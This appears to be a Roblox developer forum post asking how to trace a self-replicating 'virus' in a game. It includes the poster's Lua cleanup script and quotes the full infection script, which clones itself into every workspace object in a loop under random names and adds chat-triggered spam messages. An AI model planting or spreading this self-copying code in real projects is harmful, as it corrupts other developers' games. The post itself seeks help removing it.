How do I locate the source of a game virus?

I'm trying to build a game and every time I go into studio, EVERY instance, whether it be part, seat, or script, has a child who's classname is RotateP. And every RotateP is named a random name (I'll get to that in a second). Every RotateP in every instance in my game also has a script named "ProperGråmmerNeededInPhilosiphalLocations;insertNoobHere".

To solve this, I run a recursion that is as follows:

Containers = {"Folder", "Model"}

DangerousInstances = {"Script", "RotateP", "LocalScript", "Fire", "Smoke"}

function CheckDangerousInstances(instance)
	for i, v in pairs(DangerousInstances) do
		if instance:IsA(v) then
			return true
		end
	end
	return false
end

function CheckContainers(instance)
	for i, v in pairs(Containers) do
		if instance:IsA(v) then
			return true
		end
	end
	return false
end

function Recursion(Model)
	for i, v in pairs(Model:GetChildren()) do
		if CheckContainers(v) then
			Recursion(v)
		elseif v:IsA("BasePart") then
			Recursion(v)
		elseif CheckDangerousInstances(v) then
			v:Destroy()
		end
	end
end

Recursion(workspace)

Basically it deletes all scripts, rotatep's, fires, and smokes. However, the virus is back once I save and exit and then reopen studio. I can't find the source of it in my game.

Extra info: The only free models I'm using are Scripth's Admin and the f3x tool, both of which are well known and don't contain a virus. Also, here is the virus script

names={"bombvatus","justineagle","spitfire591","chillydoom","god0i0trust","bakingsoda","gotohell123","robloxsniper5","micchukelz","å9001","IStårtHere"}
local NameCheck = false
script.Parent.Name = names[math.random(1, #names)]
script.Name = [[ProperGråmmerNeededInPhilosiphalLocations;insertNoobHere]]
local c = script.Parent:Clone()

function addEvent(ch)
	wait(math.random())
	NameCheck = false
	for ss = 1, #names do
		if ch:IsA("RotateP") or ch:findFirstChild(names[ss]) ~= nil then
			NameCheck = true
		end
	end
	if NameCheck == false then
		local cloak = c:Clone()
		cloak.Name = ""
		cloak:GetChildren()[1].Name = ""
		cloak.Parent = ch
		cloak.Name = names[math.random(1, 5)]
	end
end

workspace.ChildAdded:connect(addEvent)

game.Players.PlayerAdded:connect(function(pl)
	pl.Chatted:connect(function(m)
		if m:sub(1, 5) == "/sc t" then
			local m = Instance.new("Message")
			m.Parent = workspace
			m.Text = "THEY CALL ME CRAZY"
			wait(1)
			m.Text = "lOoOoOoOp"
			wait(0.25)
			m.Text = "LoOoOoOoP"
			wait(0.25)
			m.Text = "lOoOoOoOp"
			wait(0.25)
			m.Text = "LoOoOoOoP"
			wait(0.25)
			m.Text = "lOoOoOoOp"
			wait(0.25)
			m.Text = "LoOoOoOoP"
			wait(0.25)
			m.Text = "GOTTA GOTTA BE CRAZY"
			wait(1)
			m.Text = "lOoOoOoOp"
			wait(0.25)
			m.Text = "LoOoOoOoP"
			wait(0.25)
			m.Text = "lOoOoOoOp"
			wait(0.25)
			m.Text = "LoOoOoOoP"
			wait(0.25)
			m.Text = "lOoOoOoOp"
			wait(0.25)
			m.Text = "LoOoOoOoP"
			wait(0.25)
			m.Text = "GOTTA GET A LIFE (YOU)"
			wait(3)
			m:remove()
		end
		if m:sub(1, 5) == "HAAXX" then
			local m = Instance.new("Message")
			m.Parent = workspace
			m.Text = "HAAXX"	
			wait(3)
			m:remove()
		end
	end)
end)

while true do
	local s = workspace:GetChildren()
	for i = 1, #s do
		NameCheck = false
		for ss = 1, #names do
			if s[i]:IsA("RotateP") or s[i]:findFirstChild(names[ss]) ~= nil then
				NameCheck = true
			end
		end
		if NameCheck == false then
			local cloak = c:Clone()
			cloak.Name = ""
			cloak:GetChildren()[1].Name = ""
			cloak.Parent = s[i]
		end
		wait(0.1)
	end
	wait(1)
end